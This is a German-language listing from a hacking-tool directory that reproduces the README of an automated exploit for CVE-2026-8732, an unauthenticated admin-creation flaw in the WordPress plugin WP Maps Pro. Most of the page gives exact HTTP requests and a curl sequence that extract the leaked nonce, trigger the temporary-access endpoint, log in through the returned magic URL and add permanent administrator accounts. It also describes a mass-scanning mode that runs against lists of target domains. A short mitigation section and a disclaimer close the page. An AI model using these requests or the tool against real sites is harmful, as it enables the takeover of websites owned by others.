Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-8732 — Automatisierter 8-Phasen-Exploit für CVE-2026-8732, eine nicht authentifizierte Privilegieneskalation in WP Maps Pro ≤ 6.1.0. Nutzt Multiprocessing und asyncio, um Ziele zu scannen, Nonces zu extrahieren und Admin-Konten zu erstellen. | Kitploit
Tools/GitHubGitHub/zycoder0day/cve-2026-8732
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubzycoder0day/cve-2026-8732

CVE-2026-8732

Automatisierter 8-Phasen-Exploit für CVE-2026-8732, eine nicht authentifizierte Privilegieneskalation in WP Maps Pro ≤ 6.1.0. Nutzt Multiprocessing und asyncio, um Ziele zu scannen, Nonces zu extrahieren und Admin-Konten zu erstellen.

Repository anzeigen
2vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

⚔️ CVE-2026-8732

WP Maps Pro ≤ 6.1.0 — Unberechtigte Rechteausweitung ohne Authentifizierung

CVSS 9.8 CRITICAL CWE-306 Python 3.8+ License MIT

8-Phasen-Automatisierungsexploit | Multiprocessing + Asyncio | Verifizierte Admin-Erstellung


🎯 Über die Sicherheitslücke

Das WordPress-Plugin WP Maps Pro in Version ≤ 6.1.0 enthält eine Sicherheitsanfälligkeit zur Rechteausweitung ohne Authentifizierung. Angreifer ohne jegliche Anmeldeinformationen können ein Administrator-Konto erstellen und die Kontrolle über die Website übernehmen.

Die Schwachstelle resultiert aus der Funktion „Temporary Access", die für das Support-Team des Anbieters FlipperCode entwickelt wurde, jedoch ohne ausreichenden Schutz öffentlich zugänglich ist.


🔥 Drei zusammenhängende Schwachstellen

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  SCHWACHSTELLE 1 — Endpunkt ohne Authentifizierung          │
│  ▸ AJAX-Aktion mit wp_ajax_nopriv_ registriert              │
│  ▸ Jeder kann ohne Anmeldung darauf zugreifen                │
└──────────────────────┬───────────────────────────────────────┘
                       │
┌──────────────────────▼───────────────────────────────────────┐
│  SCHWACHSTELLE 2 — Nonce auf öffentlichen Seiten geleakt    │
│  ▸ Das Objekt wpgmp_local.nonce wird auf jeder Seite        │
│    eingebettet                                              │
│  ▸ Angreifer können den Nonce aus dem HTML-Quelltext        │
│    extrahieren                                              │
└──────────────────────┬───────────────────────────────────────┘
                       │
┌──────────────────────▼───────────────────────────────────────┐
│  SCHWACHSTELLE 3 — Keine Zugriffsprüfung                    │
│  ▸ Die Callback-Funktion überprüft nur den Nonce            │
│  ▸ Kein current_user_can() — keine weiteren Abwehrmaßnahmen │
└──────────────────────────────────────────────────────────────┘

⚡ Angriffskette — 8 Phasen

root@kitploit:~
  ┌─────────┐   ┌──────────┐   ┌──────────┐   ┌──────────┐
  │ PHASE 1 │──▶│ PHASE 2  │──▶│ PHASE 3   │──▶│ PHASE 4  │
  │ RESOLVE │   │ CHECK WP │   │ DETECT   │   │ VERSION  │
  │ HTTPS?  │   │ wp-content│   │ PLUGIN   │   │ ≤6.1.0? │
  │ HTTP?   │   │ wp-login  │   │ wpgmp_   │   │ WAF?     │
  └─────────┘   └──────────┘   └──────────┘   └─────┬────┘
                                                      │ ANFÄLLIG
                                                      ▼
  ┌──────────────────────────────────────────────────────────┐
  │               PHASE 5 — NONCE-EXTRAKTION                 │
  │                                                          │
  │  GRUPPE A (API)       GRUPPE B (Inhalt)    GRUPPE C     │
  │  ├─ M1: REST-Seiten   ├─ M4: Sitemap XML   └─ M7: Slug  │
  │  ├─ M2: REST-Suche    ├─ M5: Homepage-Links    Brute    │
  │  └─ M3: rest_route    └─ M6: RSS/Atom-Feed   Force     │
  │                                                          │
  │  Ziel: wpgmp_local.nonce = „fc-call-nonce"               │
  └──────────────────────────┬───────────────────────────────┘
                             │ NONCE GEFUNDEN
                             ▼
  ┌──────────┐   ┌──────────┐   ┌──────────┐
  │ PHASE 6  │──▶│ PHASE 7  │──▶│ PHASE 8  │
  │ EXPLOIT  │   │ VERIFY   │   │ ADD ADMIN│
  │ POST AJAX│   │ Magic URL│   │ PERMANENT│
  │ nonce+   │   │ Cookie   │   │ REST API │
  │ check_   │   │ login    │   │ WP-Admin │
  │ temp=false│   │ check    │   │ Form     │
  └──────────┘   └──────────┘   └──────────┘
                                       │
                                       ▼
                               ✅ ADMIN ERSTELLT
                               Login: wp_xxxx / pass
                               Rolle: administrator

Details zu jeder Phase


🛠️ Angriffsmethoden

Methode 1: Kern-Exploit — Admin-Erstellung ohne Authentifizierung

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpgmp_temp_access_ajax
nonce=<EXTRAHIERTER_NONCE>
check_temp=false

Antwort, wenn anfällig:

root@kitploit:~
{"url":"https://target.com/?wpgmp_access=abc123def456"}

Diese Magic-URL gewährt automatische Anmeldung als fc_user_XXXXX (Rolle: administrator).

Methode 2: Permanenten Admin via REST API hinzufügen

root@kitploit:~
POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-WP-Nonce: <REST_NONCE>
Content-Type: application/json

{
  "username": "wp_xxxxxxxx",
  "email": "user@localhost",
  "password": "Str0ng!Pass#2026",
  "roles": ["administrator"]
}

Methode 3: Admin via WP-Admin-Formular hinzufügen (Backup)

root@kitploit:~
POST /wp-admin/user-new.php HTTP/1.1
Host: target.com
Cookie: [admin_cookies]
Content-Type: application/x-www-form-urlencoded

user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1                       <-- SCHLÜSSEL: Bestätigung schwaches Passwort
role=administrator
createuser=Add New User
_wpnonce_create-user=<NONCE>

Wichtiger Hinweis: pw_weak=1 muss zwingend enthalten sein — WordPress lehnt schwache Passwörter ohne diesen Parameter ab.


📐 Architektur

root@kitploit:~
CVE-2026-8732.py
│
├── 📦 NonceFinder — Nonce-Sucher mit 7 Methoden
│   ├── Gruppe A (API): M1 REST-Seiten, M2 REST-Suche, M3 rest_route
│   ├── Gruppe B (Inhalt): M4 Sitemap, M5 Homepage-Links, M6 RSS-Feed
│   └── Gruppe C (Erzwungen): M7 Slug-Brute-Force (30+ allgemeine Slugs)
│
├── ⚔️ Exploiter — Exploit-Maschine mit 8 Phasen
│   ├── resolve()           → Phase 1: Protokollauswahl
│   ├── check_wp()          → Phase 2: WordPress-Verifikation
│   ├── detect_plugin()     → Phase 3: Plugin-Erkennung + früher Nonce
│   ├── detect_version()    → Phase 4: Versionserkennung + WAF
│   ├── exploit()           → Phase 6: Kern-Exploit
│   ├── verify()            → Phase 7: Verifikation Admin-Login
│   └── add_admin()         → Phase 8: Permanenten Admin hinzufügen
│
├── 🔧 Worker Process — Multiprocessing-Arbeiterprozesse
│   ├── producer()          → Lese Domains aus mp.Queue
│   └── consumer() (N)      → Führe parallelen Scan aus
│
└── 🖥️ Scanner — Benutzeroberfläche
    ├── single()            → Einzelzielmodus (interaktiv)
    └── multi()             → Mehrzielmodus (massenhaft)

Datenfluss

root@kitploit:~
  targets.txt          mp.Queue (Aufgaben)      asyncio.Queue
  ┌─────────┐    ┌─────────────────┐    ┌──────────────────┐
  │ domain1 │───▶│  Domain-Queue   │───▶│  Interne Queue   │
  │ domain2 │    │  (IPC zwischen  │    │  (pro Prozess)   │
  │ domain3 │    │   Prozessen)    │    └────────┬─────────┘
  │  ...    │    └─────────────────┘              │
  └─────────┘                          ┌─────────▼──────────┐
                                       │   Konsument (N)     │
                                       │   Exploiter.scan()  │
                                       │   8 vollständige    │
                                       │   Phasen           │
                                       └─────────┬──────────┘
                                                 │
                                       ┌─────────▼──────────┐
                                       │  mp.Queue (Ergebnisse)│──▶ vuln.txt
                                       │  + JSON + TXT       │    + debug.log
                                       └────────────────────┘

🚀 Nutzung

Installation

root@kitploit:~
pip install aiohttp

Einzelzielmodus

root@kitploit:~
python3 CVE-2026-8732.py
root@kitploit:~
  [?] Wähle Modus:
      1. Einzelziel
      2. Mehrziel (Dateiliste)

  > 1

  [?] Ziel-Domain (ohne http/https): target.com
  [?] Timeout [Standard: 15]: 15

Mehrzielmodus (Massenhaft)

root@kitploit:~
python3 CVE-2026-8732.py
root@kitploit:~
  [?] Wähle Modus:
      1. Einzelziel
      2. Mehrziel (Dateiliste)

  > 2

  [?] Pfad zur Zieldatei (.txt): targets.txt
  [?] Anzahl Prozesse [Standard: 10]: 10
  [?] Parallelität pro Prozess [Standard: 50]: 50
  [?] Timeout pro Anfrage [Standard: 10]: 10
  [?] Ausgabedatei [Standard: vuln.txt]: vuln.txt
  [?] Debug-Modus? (y/n) [Standard: n]: y

Manuelles Beispiel mit curl

root@kitploit:~
# SCHRITT 1: Nonce aus Frontend-Seite extrahieren
NONCE=$(curl -sk https://target.com/ | grep -oP '"nonce"\s*:\s*"\K[a-f0-9]{10}')
echo "Nonce: $NONCE"

# SCHRITT 2: Exploit-Payload senden
RESPONSE=$(curl -sk -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=wpgmp_temp_access_ajax&nonce=$NONCE&check_temp=false")
echo "Response: $RESPONSE"

# SCHRITT 3: Magic-URL aufrufen, um als Admin anzumelden
MAGIC_URL=$(echo $RESPONSE | python3 -c "import sys,json; print(json.load(sys.stdin)['url'])")
curl -sk -L -c cookies.txt "$MAGIC_URL"

# SCHRITT 4: Admin-Zugriff überprüfen
curl -sk -b cookies.txt https://target.com/wp-admin/profile.php | grep 'id="user_login"'

# SCHRITT 5: Permanenten Admin via REST API oder WP-Admin-Formular erstellen

📊 Exploit-Bedingungen

Admin wird GENAU DANN erfolgreich erstellt, wenn beide Bedingungen erfüllt sind:

root@kitploit:~
  ┌───────────────┐    ┌───────────────┐
  │  BEDINGUNG 1  │ UND│  BEDINGUNG 2  │
  │  Version ≤6.1.0│    │  GOLD AKTIV   │
  │               │    │               │
  └───────┬───────┘    └───────┬───────┘
          │                    │
          ▼                    ▼
  Aktion nopriv         WPGMP_Temp_
  noch registriert     Access verfügbar
          │                    │
          └────────┬─────────┘
                   ▼
             ✅ ADMIN ERSTELLT
Wenn Bedingung fehlschlägtErgebnis
Version ≥ 6.1.1❌ GEPATCHT — Aktion wp_ajax_nopriv_ entfernt
GOLD nicht aktiv⚠️ PHP-CRASH — Klasse WPGMP_Temp_Access existiert nicht

📁 Dateistruktur

root@kitploit:~
CVE-2026-8732/
├── CVE-2026-8732.py      # Automatisches Exploit-Skript
├── README.md              # Projektdokumentation (diese Datei)
└── LICENSE                # MIT-Lizenz

⚙️ Technologie


🛡️ Mitigation

Wenn Sie Website-Betreiber sind und WP Maps Pro verwenden:

  1. Auf Version 6.1.1 oder neuer aktualisieren — Das patcht die Sicherheitslücke
  2. Stellen Sie sicher, dass das GOLD-Addon aktiv ist — Wenn GOLD installiert, aber nicht aktiv ist, ist die Website anfällig (Absturz beim Exploit, aber gefährliche Aktion bleibt exponiert)
  3. WAF installieren (Wordfence / Sucuri), um POST-Anfragen an admin-ajax.php zu blockieren
  4. REST-API-Endpunkt für Benutzer deaktivieren — Gibt Benutzerliste preis
  5. Anmeldeversuche beschränken — Brute-Force verhindern

📜 Lizenz

root@kitploit:~
MIT License

Copyright (c) 2026 XENON1337

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

⚠️ Haftungsausschluss

DIESES WERKZEUG IST NUR FÜR LEGITIME VERWENDUNG. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie ausdrückliche Erlaubnis zum Testen haben. Nutzung ohne Erlaubnis ist ILLEGAL und UNETHISCH. Der Autor übernimmt keine Haftung für Missbrauch dieses Werkzeugs.


Erstellt von XENON1337

Tool herunterladen
InformationDetail
CVECVE-2026-8732
CVSS9.8 (KRITISCH) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
PluginWP Maps Pro (wp-google-map-gold)
AnbieterFlipperCode
Betroffene Version≤ 6.1.0
Gepatchte Version6.1.1
TypFehlende Authentifizierung für kritische Funktion (CWE-306)
AuswirkungAdmin-Erstellung ohne Authentifizierung → vollständige Kontrolle der Website
PoC-AutorXENON1337
PhaseNameFunktionAnfragen
1ResolveWähle HTTPS/HTTP parallel1
2Check WPÜberprüfe, ob das Ziel WordPress ist0
3Detect PluginPrüfe WP Maps-Indikator in 3 Ebenen0-4
4Version + WAFLese readme.txt / CSS ?ver= + erkenne WAF1
5Nonce-Extraktion7 Suchmethoden in 3 parallelen Gruppen0-150
6ExploitPOST admin-ajax.php → temporäres Admin-Konto erstellen1
7VerifikationRufe Magic-URL auf → bestätige Admin-Sitzung2
8Admin hinzufügenREST API (primär) + WP-Admin-Formular (Backup)4
KomponenteTechnologieFunktion
HTTP-ClientaiohttpAsynchrone HTTP-Anfragen mit Verbindungspooling
Parallelitätasyncio + multiprocessingMulti-Prozess + asynchron pro Prozess
IPC-Queuemp.QueueKommunikation zwischen Hauptprozess und Arbeitern
CookieCookieJar(unsafe=True)Umgang mit domainübergreifenden Weiterleitungen
Timeoutasyncio.wait_forZeitlimit pro Ziel (25 Sekunden)